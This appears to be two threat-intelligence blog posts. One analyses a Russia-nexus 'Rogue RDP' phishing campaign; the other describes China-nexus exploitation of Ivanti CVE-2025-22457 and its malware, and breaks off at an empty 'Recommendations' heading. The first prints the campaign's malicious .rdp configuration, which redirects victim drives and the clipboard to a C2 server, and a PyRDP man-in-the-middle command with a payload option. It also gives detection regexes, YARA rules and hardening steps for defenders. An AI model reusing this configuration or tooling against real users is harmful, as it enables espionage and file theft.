Mandiant Threat Intelligence

Written by: Rohit Nambiar

Executive Summary

In October 2024, Google Threat Intelligence Group (GTIG) observed a novel phishing campaign targeting European government and military organizations that was attributed to a suspected Russia-nexus espionage actor we track as UNC5837. The campaign employed signed .rdp file attachments to establish Remote Desktop Protocol (RDP) connections from victims' machines. Unlike typical RDP attacks focused on interactive sessions, this campaign creatively leveraged resource redirection (mapping victim file systems to the attacker servers) and RemoteApps (presenting attacker-controlled applications to victims). Evidence suggests this campaign may have involved the use of an RDP proxy tool like PyRDP to automate malicious activities like file exfiltration and clipboard capture. This technique has been previously dubbed as “Rogue RDP.”

The campaign likely enabled attackers to read victim drives, steal files, capture clipboard data (including passwords), and obtain victim environment variables. While we did not observe direct command execution on victim machines, the attackers could present deceptive applications for phishing or further compromise. The primary objective of the campaign appears to be espionage and file theft, though the full extent of the attacker's capabilities remains uncertain. This campaign serves as a stark reminder of the security risks associated with obscure RDP functionalities, underscoring the importance of vigilance and proactive defense.

Introduction

Remote Desktop Protocol (RDP) is a legitimate Windows service that has been well researched by the security community. However, most of the security community’s existing research is focused on the adversarial use of RDP to control victim machines via interactive sessions. 

This campaign included use of RDP that was not focused on interactive control of victim machines. Instead, adversaries leveraged two lesser-known features of the RDP protocol to present an application (the nature of which is currently unknown) and access victim resources. Given the low prevalence of this tactic, technique, and procedure (TTP) in previous reporting, we seek to explore the technical intricacies of adversary tradecraft abusing the following functionality of RDP:

• RDP Property Files (.rdp configuration files)

• Resource redirection (e.g. mapping victim file systems to the RDP server)

• RemoteApps (i.e. displaying server-hosted applications to victim)

Additionally, we will shed light on PyRDP, an open-source RDP proxy tool that offers attractive automation capabilities to attacks of this nature.

By examining the intricacies of the tradecraft observed, we gain not only a better understanding of existing campaigns that have employed similar tradecraft, but of attacks that may employ these techniques in the future.

Campaign Operations

This campaign tracks a wave of suspected Russian espionage activity targeting European government and military organizations via widespread phishing. Google Threat Intelligence Group (GTIG) attributes this activity to a suspected Russia-nexus espionage actor group we refer to as UNC5837. The Computer Emergency Response Team of Ukraine (CERT-UA) reported this campaign on Oct. 29, 2024, noting the use of mass-distributed emails with.rdp file attachments among government agencies and other Ukrainian organizations. This campaign has also been documented by Microsoft, TrendMicro, and Amazon.

The phishing email in the campaign claimed to be part of a project in conjunction with Amazon, Microsoft, and the Ukrainian State Secure Communications and Information Security Agency. The email included a signed .rdp file attachment purporting to be an application relevant to the described project. Unlike more common phishing lures, the email explicitly stated no personal data was to be provided and if any errors occurred while running the attachment, to ignore it as an error report would be automatically generated.

Figure 1: Campaign email sample

Executing the signed attachment initiates an RDP connection from the victim's machine. The attachment is signed with a Let’s Encrypt certificate issued to the domain the RDP connection is established with. The signed nature of the file bypasses the typical yellow warning banner, which could otherwise alert the user to a potential security risk. More information on signature-related characteristics of these files are covered in a later section.

Figure 2: Unsigned RDP connection — warning banner

The malicious .rdp configuration file specifies that, when executed, an RDP connection is initiated from the victim’s machine while granting the adversary read & write access to all victim drives and clipboard content. Additionally, it employs the RemoteApp feature, which presents a deceptive application titled "AWS Secure Storage Connection Stability Test" to the victim's machine. This application, hosted on the attacker's RDP server, masquerades as a locally installed program, concealing its true, potentially malicious nature. While the application's exact purpose remains undetermined, it may have been used for phishing or to trick the user into taking action on their machine, thereby enabling further access to the victim's machine. 

Further analysis suggests the attacker may have used an RDP proxy tool like PyRDP (examined in later sections), which could automate malicious activities such as file exfiltration and clipboard capture, including potentially sensitive data like passwords. While we cannot confirm the use of an RDP proxy tool, the existence, ease of accessibility, and functionalities offered by such a tool make it an attractive option for this campaign. Regardless of whether such a tool was used or not, the tool is bound to the permissions granted by the RDP session. At the time of writing, we are not aware of an RDP proxy tool that exploits vulnerabilities in the RDP protocol, but rather gives enhanced control over the established connection. 

The techniques seen in this campaign, combined with the complexity of how they interact with each other, make it tough for incident responders to assess the true impact to victim machines. Further, the number of artifacts left to perform post-mortem are relatively small, compared to other attack vectors. Because existing research on the topic is speculative regarding how much control an attacker has over the victim, we sought to dive deeper into the technical details of the technique components. While full modi operandi cannot be conclusively determined, UNC5837’s primary objective appears to be espionage and file stealing.

Deconstructing the Attack: A Deep Dive into RDP Techniques Remote Desktop Protocol

The RDP is used for communication between the Terminal Server and Terminal Server Client. RDP works with the concept of “virtual channels” that are capable of carrying presentation data, keyboard/mouse activity, clipboard data, serial device information, and more. Given these capabilities, as an attack vector, RDP is commonly seen as a route for attackers in possession of valid victim credentials to gain full graphical user interface (GUI) access to a machine. However, the protocol supports other interesting capabilities that can facilitate less conventional attack techniques.

RDP Configuration Files

RDP has a number of properties that can be set to customize the behavior of a remote session (e.g., IP to connect to, display settings, certificate options). While most are familiar with configuring RDP sessions via a traditional GUI (mstsc.exe), these properties can also be defined in a configuration file with the .rdp extension which, when executed, achieves the same effect.

The following .rdp file was seen as an email attachment (SHA256): ba4d58f2c5903776fe47c92a0ec3297cc7b9c8fa16b3bf5f40b46242e7092b46

An excerpt of this .rdp file is displayed in Figure 3 with annotations describing some of the configuration settings.

# Connection information alternate full address:s:eu-southeast-1-aws[.]govtr[.]cloud full address:s:eu-southeast-1-aws[.]govtr[.]cloud # Resource Redirection drivestoredirect:s:* redirectprinters:i:1 redirectcomports:i:1 redirectsmartcards:i:1 redirectwebauthn:i:1 redirectclipboard:i:1 redirectposdevices:i:1 # RemoteApp Config remoteapplicationicon:s:C:\Windows\SystemApps\Microsoft.Windows. SecHealthUI_cw5n1h2txyewy\Assets\Health.contrast-white.ico remoteapplicationmode:i:1 remoteapplicationname:s:AWS Secure Storage Connection Stability Test v24091285697854 remoteapplicationexpandcmdline:i:0 remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAME% %USERDNSDOMAIN% remoteapplicationprogram:s:||AWS Secure Storage Connection Stability Test v24091285697854 # Certificate Signing signature:s:AQABAAEAAABIDgAAMIIORAYJKoZIhvcNAQcCoIIONTCCDj ECAQExDzANBglghkgB ZQMEAgEFADALBgkqhkiG9w0BBwGggg1VMIID hzCCAw2gAwIBAgISBAM9zxvijMss qZQ1HI92Q29iMAoGCCqGSM49BA MDMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1M ZXQncyBFbmNye XB0MQswCQYDVQQDEwJFNTAeFw0yNDA5MjUxMzM1MjRaFw0yNDEy MjQxMzM1MjNaMBYxFDASBgNVBAMTC2dvdnRyLmNsb3VkMFkwEwY HKoZIzj0CAQYI KoZIzj0DAQcDQgAE9QvXN8RVmfGSaJf0nPJcFoWu8N whtD2/MJa+0N6k+7pn5XxS 2s74CVZ6alzVJhuRh3711HkOJ/NDZ1HgA 0IGtaOCAh0wggIZMA4GA1UdDwEB/wQE AwIHgDAdBgNVHSUEFjAUBg grBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw ADAdBgNVHQ 4EFgQUmlyAvqbyzuGLNNsbP3za+WwgrfwwHwYDVR0jBBgwFoAUnytf zzwhT50Et+0rLMTGcIvS1w0wVQYIKwYBBQUHAQEESTBHMCEGCCsG AQUFBzABhhVo dHRwOi8vZTUuby5sZW5jci5vcmcwIgYIKwYBBQUHM AKGFmh0dHA6Ly9lNS5pLmxl bmNyLm9yZy8wJQYDVR0RBB4wHIINK i5nb3Z0ci5jbG91ZIILZ292dHIuY2xvdWQw EwYDVR0gBAwwCjAIBgZng QwBAgEwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdwBI sONr2qZHNA/ lagL6nTDrHFIBy1bdLIHZu7+rOdiEcwAAAZIpml1hAAAEAwBIMEYC IQCpE8FeX9O+aQZBuhg0LrUcIpfZx9pojamHrrov9YJjSQIhAKBBEO2sSlX3Wxau c7p/xhzOfesiX4DnuCk57t...

Figure 3: .rdp file excerpt

When executed, this configuration file initiates an RDP connection to the malicious command-and-control (C2 or C&C) server eu-southeast-1-aws[.]govtr[.]cloud and redirects all drives, printers, COM ports, smart cards, WebAuthn requests (e.g., security key), clipboard, and point-of-sale (POS) devices to the C2 server.

The remoteapplicationmode parameter being set to 1 will switch the session from the “traditional” interactive GUI session to instead presenting the victim with only a part (application) of the RDP server. The RemoteApp, titled AWS Secure Storage Connection Stability Test v24091285697854, resides on the RDP server and is presented to the victim in a windowed popup. The icon used to represent this application (on the Windows taskbar for example) is defined by remoteapplicationicon. Windows environment variables %USERPROFILE%, %COMPUTERNAME%, and %USERDNSDOMAIN% are used as command-line arguments to the application. Due to the use of the property remoteapplicationexpandcmdline:i:0 , the Windows environment variables sent to the RDP server will be that of the client (aka victim), effectively performing initial reconnaissance upon connection.

Lastly, the signature property defines the encoded signature that signs the .rdp file. The signature used in this case was generated using Let’s Encrypt. Interestingly, the SSL certificate used to sign the file is issued for the domain the RDP connection is made to. For example, with SHA256: 1c1941b40718bf31ce190588beef9d941e217e6f64bd871f7aee921099a9d881.

Figure 4: Signature property within .rdp file

Tools like rdp_holiday can be used to decode the public certificate embedded within the file in Figure 4.

Figure 5: .rdp file parsed by rdp_holiday

The certificate is an SSL certificate issued for the domain the RDP connection is made to. This can be correlated with the RDP properties full_address / alternate_full_address.

alternate full address:s:eu-north-1-aws.ua-gov.cloud full address:s:eu-north-1-aws.ua-gov.cloud

Figure 6: Remote Address RDP Proprties

.rdp files targeting other victims also exhibited similar certificate behavior.

In legitimate scenarios, an organization could sign RDP connections with SSL certificates tied to their organization’s certificate authority. Additionally, an organization could also disable execution of .rdp files from unsigned and unknown publishers. The corresponding GPO can be found under Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client -> Allow .rdp files from unknown publishers.

Figure 7: GPO policy for disabling unknown and unsigned .rdp file execution

The policy in Figure 7 can optionally further be coupled with the “Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers” policy (within the same location) to add certificates as Trusted Publishers.

From an attacker’s perspective, existence of a signature allows the connection prompt to look less suspicious (i.e., without the usual yellow warning banner), as seen in Figure 8.

Figure 8: Connection prompt (source)

This RDP configuration approach is especially notable because it maps resources from both the adversary and victim machines: 

• This RemoteApp being presented resides on the adversary-controlled RDP server, not the client/victim machine. 

• The Windows environment variables are that of the client/victim that are forwarded to the RDP server as command-line arguments

• Victim file system drives are forwarded and accessible as remote shares on the RDP server. Only the drives accessible to the victim-user initiating the RDP connection are accessible to the RDP server. The RDP server by default has the ability to read and write to the victim’s file system drives

• Victim clipboard data is accessible to the RDP server. If the victim machine is running within a virtualized environment but shares its clipboard with the host machine in addition to the guest, the host’s clipboard will also be forwarded to the RDP server.

Keeping track of what activity happens on the victim and on the server in the case of an attacker-controlled RDP server helps assess the level of control the attacker has over the victim machine. A deeper understanding of the RDP protocol's functionalities, particularly those related to resource redirection and RemoteApp execution, is crucial for analyzing tools like PyRDP. PyRDP operates within the defined parameters of the RDP protocol, leveraging its features rather than exploiting vulnerabilities. This makes understanding the nuances of RDP essential for comprehending PyRDP's capabilities and potential impact. 

More information on RDP parameters can be found here and here.

Resource Redirection

The campaign’s .rdp configuration file set several RDP session properties for the purpose of resource redirection. 

RDP resource redirection enables the utilization of peripherals and devices connected to the local system within the remote desktop session, allowing access to resources such as:

• Printers

• Keyboards, mouse

• Drives (hard drives, CD/DVD drives, etc.)

• Serial ports

• Hardware keys like Yubico (via smartcard and WebAuthn redirection)

• Audio devices

• Clipboards (for copy-pasting between local and remote systems)

Resource redirection in RDP is facilitated through Microsoft's "virtual channels." The communication happens via special RDP packets, called protocol data packets (PDU), that mirror changes between the victim and attacker machine as long as the connection is active. More information on virtual channels and PDU structures can be found in MS-RDPERP.

Typically, virtual channels employ encrypted communication streams. However, PyRDP is capable of capturing the initial RDP handshake sequences and hence decrypting the RDP communication streams.

Figure 9: Victim’s mapped-drives as seen on an attacker’s RDP server

Remote Programs / RemoteApps

RDP has an optional feature called RemoteApp programs, which are applications (RemoteApps) hosted on the remote server that behave like a windowed application on the client system, which in this case is a victim machine. This can make a malicious remote app seem like a local application to the victim machine without ever having to touch the victim machine’s disk. 

Figure 10 is an example of the MS Paint application presented as a RemoteApp as seen by a test victim machine. The application does not exist on the victim machine but is presented to appear like a native application. Notice how there is no banner/top dock that indicates an RDP connection one would expect to see in an interactive session. The only indicator appears to be the RDP symbol on the taskbar.

Figure 10: RDP RemoteApp (MsPaint.exe) hosted on the RDP server, as seen on a test victim machine

All resources used by RemoteApp belong to that of the RDP server. Additionally, if victim drives are mapped to the RDP server, they are accessible by the RemoteApp as well.

PyRDP

While the use of a tool like PyRDP in this campaign cannot be confirmed, the automation capabilities it offers make it an attractive option worth diving deeper into. A closer look at PyRDP will illuminate how such a tool could be useful in this context.

PyRDP is an open-source, Python-based, man-in-the-middle (MiTM) RDP proxy toolkit designed for offensive engagements.

Figure 11: PyRDP as a MiTM tool

PyRDP operates by running on a host (MiTM server) and pointing it to a server running Windows RDP. Victims connect to the MiTM server with no indication of being connected to a relay server, while PyRDP seamlessly relays the connection to the final RDP server while providing enhanced capabilities over the connection, such as:

• Stealing NTLM hashes of the credentials used to authenticate to the RDP server

• Running commands on the RDP server after the user connects

• Capturing the user’s clipboard

• Enumerating mapped drives

• Stream, record (video format), and session takeover

It’s important to note that, from our visibility, PyRDP does not exploit vulnerabilities or expose a new weakness. Instead, PyRDP gives granular control to the functionalities native to the RDP protocol.

Password Theft

PyRDP is capable of stealing passwords, regardless of whether Network Level Authentication (NLA) is enabled. In the case NLA is enabled, it will capture the NTLM hash via the NLA as seen in Figure 12. It does so by interrupting the original RDP connection sequence and completing part of it on its own, thereby allowing it to capture hashed credentials. The technique works in a similar way to Responder. More information about how PyRDP does this can be found here.

Figure 12: RDP server user NTLMv2 Hashes recorded by PyRDP during user authentication

Alternatively, if NLA is not enabled, PyRDP attempts to scan the codes it receives when a user tries to authenticate and convert them into virtual key codes, thereby "guessing" the supplied password. The authors of the tool refer to this as their “heuristic method” of detecting passwords.

Figure 13: Plaintext password detection without NLA

When the user authenticates to the RDP server, PyRDP captures these credentials used to login to the RDP server. In the event the RDP server is controlled by the adversary (e.g., in this campaign), this feature does not add much impact since the credentials captured belong to the actor-controlled RDP server. This capability becomes impactful, however, when an attacker attempts an MiTM attack where the end server is not owned by them.

It is worth noting that during setup, PyRDP allows credentials to be supplied by the attacker. These credentials are then used to authenticate to the RDP server. By doing so, the user does not need to be prompted for credentials and is directly presented with the RemoteApp instead. In the campaign, given that the username RDP property was empty, the RDP server was attacker-controlled, and the RemoteApp seemed to be core to the storyline of the operation, we suspect a tool like PyRDP was used to bypass the user authentication prompt to directly present the AWS Secure Storage Connection Stability Test v24091285697854 RemoteApp to the victim.

Finally, PyRDP automatically captures the RDP challenge during connection establishment. This enables RDP packets to be decrypted if raw network captures are available, revealing more granular details about the RDP session.

Command Execution

PyRDP allows for commands to be executed on the RDP server. However, it does not allow for command execution on the victim’s machine. At the time of deployment, commands to be executed can be supplied to PyRDP in the following ways:

• MS-DOS (cmd.exe)

• PowerShell commands

• PowerShell scripts hosted on the PyRDP server file system

PyRDP executes the command by freezing/blocking the RDP session for a given amount of time, while the command executes in the background. To the user, it seems like the session froze. At the time of deploying the PyRDP MiTM server, the attacker specifies:

• What command to execute (in one of the aforementioned three ways)

• How long to block/freeze the user session for

• How long the command will take to complete

PyRDP is capable of detecting user connections and disconnections to RDP sessions. However, it lacks the ability to detect user authentication to the RDP server. As a user may connect to an RDP session without immediately proceeding to account login, PyRDP cannot determine authentication status, thus requiring the attacker to estimate a waiting period following user connection (and preceding authentication) before executing commands. It also requires the attacker to define the duration for which the session is to be frozen during command execution, since PyRDP has no way of knowing when the command completes. 

The example in Figure 14 relays incoming connections to an RDP server on 192.168.1.2. Upon connection, it then starts the calc.exe process on the RDP server 20 seconds after the user connects and freezes the user session for five seconds while the command executes.

sudo docker run -p 3389:3389 gosecure/pyrdp pyrdp-mitm 192.168.1.2 --payload "timeout 5 & start calc.exe" --payload-delay 20000 --payload-duration 5000

Figure 14: PyRDP deployment command

A clever attacker can use this capability of PyRDP to plant malicious files on a redirected drive, even though it cannot directly run it on the victim machine. This could facilitate dropping malicious files in locations that allow for further persistent access (e.g., via DLL-sideloading, malware in startup locations). Defenders can hunt for this activity by monitoring file creations originating from mstsc.exe. We'll dive deeper into practical detection strategies later in this post.

Clipboard Capture

PyRDP automatically captures the clipboard of the victim user for as long as the RDP connection is active. This is one point where the attacker’s control extends beyond the RDP server and onto the victim machine. 

Note that if a user connects from a virtual environment (e.g., VMware) and the host machine's clipboard is mapped to the virtual machine, it would also be forwarded to the RDP session. This can allow the attacker to capture clipboard content from the host and guest machine combined. 

Scraping/Browsing Client Files

With file redirection enabled, PyRDP can crawl the target system and save all or specified folders to the MiTM server if instructed at setup using the --crawl option. If the --crawl option is not specified at setup, PyRDP will still capture files, but only those accessed by the user during the RDP session, such as environment files. During an active connection, an attacker can also connect to the live stream and freely browse the target system's file system via the PyRDP-player GUI to download files (see Figure 15). 

It is worth noting that while PyRDP does not explicitly present the ability to place files on the victim’s mapped drives, the RDP protocol itself does allow it. Should an adversary misuse that capability, it would be outside the scope of PyRDP.

Stream/Capture/Intercept RDP Sessions

PyRDP is capable of recording RDP sessions for later playback. An attacker can optionally stream each intercepted connection and thereafter connect to the stream port to interact with the live RDP connection. The attacker can also take control of the RDP server and perform actions on the target system. When an attacker takes control, the RDP connection hangs for the user, similar to when commands are executed when a user connects. 

Streaming, if enabled with the -i option, defaults to TCP port 3000 (configurable). Live connections are streamed on a locally bound port, accessible via the included pyrdp-player script GUI. Upon completion of a connection, an .mp4 recording of the session can be produced by PyRDP.

Figure 15: Live session streaming GUI (source: DEF CON Safe Mode Demo Labs - Olivier Bilodeau - PyRDP)

Recommendations for Defenders

This section focuses on collecting forensic information, hardening systems, and developing detections for RDP techniques used in the campaign.

Security detections detailed in this section are already integrated into the Google SecOps Enterprise+ platform. In addition, Google maintains similar proactive measures to protect Gmail and Google Workspace users.

Log Artifacts Default Windows Machine

During testing, limited evidence was recovered on default Windows systems after drive redirection and RemoteApp interaction. In practice, it would be difficult to distinguish between a traditional RDP connection and one with drive redirection and/or RemoteApp usage on a default Windows system. From a forensic perspective, the following patterns are of moderate interest: 

• Creation of the following registry key upon connection, which gives insight into attacker server address and username used:

HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\ Microsoft\Terminal Server Client\Servers\<attacker_IP_Address> HKU\S-1-5-21-4272539574-4060845865-869095189-1000\SOFTWARE\ Microsoft\Terminal Server Client\Servers\<attacker_server>\UsernameHint: "<username used for connection>"

• The information contained in the Windows Event Logs (Microsoft-Windows-TerminalServices-RDPClient/Operational): 

• Event ID 1102: Logs attacker server IP address

• Event ID 1027: Logs attacker server domain name

• Event ID 1029: Logs username used to authenticate in format base64(sha256(username)).

Heightened Logging Windows Machine

With enhanced logging capabilities (e.g., Sysmon, Windows advanced audit logging, EDR), artifacts indicative of file write activity on the target system may be present. This was tested and validated using Sysmon file creation events (event ID 11). 

Victim system drives can be mapped to the RDP server via RDP resource redirection, enabling both read and write operations. Tools such as PyRDP allow for crawling and downloading the entire file directory of the target system. 

When files are written to the target system using RDP resource redirection, the originating process is observed to be C:\Windows\system32\mstsc.exe. A retrospective analysis of a large set of representative data consisting of enhanced logs indicates that file write events originating from mstsc.exe are a common occurrence but display a pattern that could be excluded from alerting. 

For example, multiple arbitrarily named terminal server-themed .tmp files following the regex pattern _TS[A-Z0-9]{4}\.tmp (e.g., _TS4F12.tmp) are written to the user’s %APPDATA%/Local/Temp directory throughout the duration of the connection.

EventType: FileCreation Parent Process: C:\Windows\System32\mstsc.exe Target Files: --> C:\Users\Spongebob\AppData\Local\Temp\_TS1D72.tmp --> C:\Users\Spongebob\AppData\Local\Temp\_TS7B73.tmp --> C:\Users\Spongebob\AppData\Local\Temp\_TS36B3.tmp

Additionally, several file writes and folder creations related to the protocol occur in the %APPDATA%/Local\Microsoft\Terminal Server Client directory. 

Depending upon the RDP session, excluding these protocol-specific file writes could help manage the number of events to triage and spot potentially interesting ones. It’s worth noting that the Windows system by default will delete temporary folders from the remote computer upon logoff. This does not apply to the file operations on redirected drives.

Should file read activity be enabled, mstsc.exe-originating file reads could warrant suspicion. It is worth noting that file-read events by nature are noisy due to the way the Windows subsystem operates. Caution should be taken before enabling it.

.rdp File via Email

The .rdp configuration file within the campaign was observed being sent as an email attachment. While it's not uncommon for IT administrators to send .rdp files over email, the presence of an external address in the attachment may be an indicator of compromise. The following regex patterns, when run against an organization’s file creation events, can indicate .rdp files being run directly from Outlook email attachments:

/\\AppData\\Local\\Microsoft\\Windows\\(INetCache|Temporary Internet Files) \\Content\.Outlook\\[A-Z0-9]{8}\\[^\\]{1,255}\.rdp$/ /\\AppData\\Local\\Packages\\Microsoft\.Outlook_[a-zA-Z0-9]{1,50}\\.{0,120} \\[^\\]{1,80}\.rdp$/ /\\AppData\\Local\\Microsoft\\Olk\\Attachments\\([^\\]{1,50}\\){0,5}[^\\] {1,80}\.rdp$/ System Hardening

The following options could assist with hardening enterprise environments against RDP attack techniques.

• Network-level blocking of outgoing RDP traffic to public IP addresses

• Disable resource redirection via the Registry

• Key: HKEY_LOCAL_MACHINE\Software\Microsoft\Terminal Server Client

• Type: REG_DWORD

• Value name: DisableDriveRedirection

• Value data: 1

• Configure granular RDP-policies via Group Policy

• Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client

• Allow .rdp files from unknown publishers: Setting this to disable will not allow users to run unsigned .rdp files as well as ones from untrusted publishers.

• Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers: A way to add certificate SHA1s as trusted file publishers

• Computer Configuration -> Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Session Host: Policies on enable/disabling

• Resource redirection

• Clipboard redirection

• Forcing Network Level Authentication

• Time limits for active/idle connections

• Blocking .rdp file extension as email attachments

The applicability of these measures is subject to the nature of activity within a given environment and what is considered “normal” behavior.

YARA Rules

These YARA rules can be used to detect suspicious RDP configuration files that enable resource redirection and RemoteApps.

/* Detect RDP config files utilizing RemoteApp and ResourceRedirection */ rule G_Hunting_RDP_File_RemoteApp_ResourceRedir_1 { meta: author = "Google Threat Intelligence Group" description = "Detect RDP config files utilizing RemoteApp and resource redirection" strings: $rdp_param1 = "remoteapplicationmode:i:1" wide $rdp_param2 = "drivestoredirect:s:" wide $rdp_param3 = "remoteapplicationprogram:s:" wide $rdp_param4 = "remoteapplicationname:s:" wide condition: filesize < 20KB and (2 of ($rdp_param*)) } /* Detect RDP config files with a base64 LetsEncrypt certificate */ rule G_Hunting_RDP_File_LetsEncrypt_Signed_1 { meta: author = "Google Threat Intelligence Group" description = "Detects signed RDP configuration files that contain a base64 encoded LetsEncrypt certificate" strings: $rdp_param1 = "full address" wide $rdp_param2 = "redirectclipboard" wide $rdp_param3 = "remoteapplicationmode" wide $rdp_param4 = "compression" wide $rdp_param5 = "remoteapplicationexpandcmdline" wide $rdp_param6 = "promptcredentialonce" wide $rdp_param7 = "allow font smoothing" wide $rdp_param8 = "desktopheight" wide $rdp_param9 = "screen mode id" wide $rdp_param10 = "videoplaybackmode" wide $lets_encrypt_1 = "Let's Encrypt" base64wide $lets_encrypt_2 = "lencr.org" base64wide condition: filesize < 20KB and (any of ($lets_encrypt_*)) and (2 of ($rdp_param*)) } Final Thoughts

This campaign demonstrates how common tradecraft can be revitalized with alarming effectiveness through a modular approach. By combining mass emailing, resource redirection, and the creative sleight-of-hand use of RemoteApps, the actor could effectively leverage existing RDP techniques while leaving minimal forensic evidence. This combination of familiar techniques, deployed in an unconventional manner, proved remarkably effective, proving that the true danger of Rogue RDP lies not in the code, but in the con.

In this particular campaign, while control over the target system seems limited, the main capabilities revolve around file stealing, clipboard data capture, and access to environment variables. It is more likely this campaign was aimed at espionage and user manipulation during interaction. Lastly, this campaign once again underscores how readily available red teaming tools intended for education purposes are weaponized by malicious actors with harmful intentions.

Acknowledgments

Special thanks to: Van Ta, Steve Miller, Barry Vengerik, Lisa Karlsen, Andrew Thompson, Gabby Roncone, Geoff Ackerman, Nick Simonian, and Mike Stokkel. 

References 

• CERT-UA Campaign Post

• MS-RDPBCGR (Remote Desktop Protocol: Basic Connectivity and Graphics Remoting)

• MS-RDPERP (Remote Desktop Protocol: Remote Programs Virtual Channel Extension)

• MS-RDPECLIP (Remote Desktop Protocol: Clipboard Virtual Channel Extension)

• MS-RDPEFS (Remote Desktop Protocol: File System Virtual Channel Extension)

• RDP Properties (Microsoft)

• RDP Properties (donkz.nl)

• Rogue RDP – Revisiting Initial Access Methods (Black Hills Information Security)

• PyRDP GitHub

Written by: John Wolfram, Michael Edie, Jacob Thompson, Matt Lin, Josh Murchie

On Thursday, April 3, 2025, Ivanti disclosed a critical security vulnerability, CVE-2025-22457, impacting Ivanti Connect Secure (“ICS”) VPN appliances version 22.7R2.5 and earlier. CVE-2025-22457 is a buffer overflow vulnerability, and successful exploitation would result in remote code execution. Mandiant and Ivanti have identified evidence of active exploitation in the wild against ICS 9.X (end of life) and 22.7R2.5 and earlier versions. Ivanti and Mandiant encourage all customers to upgrade as soon as possible. 

The earliest evidence of observed CVE-2025-22457 exploitation occurred in mid-March 2025. Following successful exploitation, we observed the deployment of two newly identified malware families, the TRAILBLAZE in-memory only dropper and the BRUSHFIRE passive backdoor. Additionally, deployment of the previously reported SPAWN ecosystem of malware attributed to UNC5221 was also observed. UNC5221 is a suspected China-nexus espionage actor that we previously observed conducting zero-day exploitation of edge devices dating back to 2023.

A patch for CVE-2025-22457 was released in ICS 22.7R2.6 on February 11, 2025. The vulnerability is a buffer overflow with a limited character space, and therefore it was initially believed to be a low-risk denial-of-service vulnerability. We assess it is likely the threat actor studied the patch for the vulnerability in ICS 22.7R2.6 and uncovered through a complicated process, it was possible to exploit 22.7R2.5 and earlier to achieve remote code execution.

Ivanti released patches for the exploited vulnerability and Ivanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as possible.

Post-Exploitation Tactics, Techniques, and Procedures

Following successful exploitation, Mandiant observed the deployment of two newly identified malware families tracked as TRAILBLAZE and BRUSHFIRE through a shell script dropper. Mandiant has also observed the deployment of the SPAWN ecosystem of malware. Additionally, similar to previously observed behavior, the actor attempted to modify the Integrity Checker Tool (ICT) in an attempt to evade detection.  

Shell-script Dropper

Following successful exploitation of CVE-2025-22457, Mandiant observed a shell script being leveraged that executes the TRAILBLAZE dropper. This dropper injects the BRUSHFIRE passive backdoor into a running /home/bin/web process. The first stage begins by searching for a /home/bin/web process that is a child process of another /home/bin/web process (the point of this appears to be to inject into the web process that is actually listening for connections). It then creates the the following files and associated content:

• /tmp/.p: contains the PID of the /home/bin/web process.

• /tmp/.m: contains a memory map of that process (human-readable).

• /tmp/.w: contains the base address of the web binary from that process

• /tmp/.s: contains the base address of libssl.so from that process

• /tmp/.r: contains the BRUSHFIRE passive backdoor

• /tmp/.i: contains the TRAILBLAZE dropper

The shell script then executes /tmp/.i, which is the second stage in-memory only dropper tracked as TRAILBLAZE. It then deletes all of the temporary files previously created (except for /tmp/.p), as well as the contents of the /data/var/cores directory. Next, all child processes of the /home/bin/web process are killed and the /tmp/.p file is deleted. All of this behavior is non-persistent, and the dropper will need to be re-executed if the system or process is rebooted.

TRAILBLAZE

TRAILBLAZE is an in-memory only dropper written in bare C that uses raw syscalls and is designed to be as minimal as possible, likely to ensure it can fit within the shell script as Base64. TRAILBLAZE injects a hook into the identified /home/bin/web process. It will then inject the BRUSHFIRE passive backdoor into a code cave inside that process.

BRUSHFIRE

BRUSHFIRE is a passive backdoor written in bare C that acts as an SSL_read hook. It first executes the original SSL_read function, and checks to see if the returned data begins with a specific string. If the data begins with the string, it will XOR decrypt then execute shellcode contained in the data. If the received shellcode returns a value, the backdoor will call SSL_write to send the value back.

SPAWNSLOTH

As detailed in our previous blog post, SPAWNSLOTH acts as a log tampering component tied to the SPAWNSNAIL backdoor. It targets the dslogserver process to disable both local logging and remote syslog forwarding.

SPAWNSNARE

SPAWNSNARE is a utility that is written in C and targets Linux. It can be used to extract the uncompressed linux kernel image (vmlinux) into a file and encrypt it using AES without the need for any command line tools.

SPAWNWAVE

SPAWNWAVE is an evolved version of SPAWNANT that combines capabilities from other members of the SPAWN* malware ecosystem. SPAWNWAVE overlaps with the publicly reported SPAWNCHIMERA and RESURGE malware families.

Attribution

Google Threat Intelligence Group (GTIG) attributes the exploitation of CVE-2025-22457 and the subsequent deployment of the SPAWN ecosystem of malware to the suspected China-nexus espionage actor UNC5221. GTIG has previously reported UNC5221 conducting zero-day exploitation of CVE-2025-0282, as well as the exploitation CVE-2023-46805 and CVE-2024-21887. 

Furthermore, GTIG has also previously observed UNC5221 conducting zero-day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway appliances. UNC5221 has targeted a wide range of countries and verticals during their operations, and has leveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on various edge appliances. 

GTIG assesses that UNC5221 will continue pursuing zero-day exploitation of edge devices based on their consistent history of success and aggressive operational tempo. Additionally, as noted in our prior blog post detailing CVE-2025-0282 exploitation, GTIG has observed UNC5221 leveraging an obfuscation network of compromised Cyberoam appliances, QNAP devices, and ASUS routers to mask their true source during intrusion operations.

Conclusion

This latest activity from UNC5221 underscores the ongoing sophisticated threats targeting edge devices globally. This campaign, exploiting the n-day vulnerability CVE-2025-22457, also highlights the persistent focus of actors like UNC5221 on edge devices, leveraging deep device knowledge and adding to their history of using both zero-day and now n-day flaws. This activity aligns with the broader strategy GTIG has observed among suspected China-nexus espionage groups who invest significantly in exploits and custom malware for critical edge infrastructure.

Recommendations 

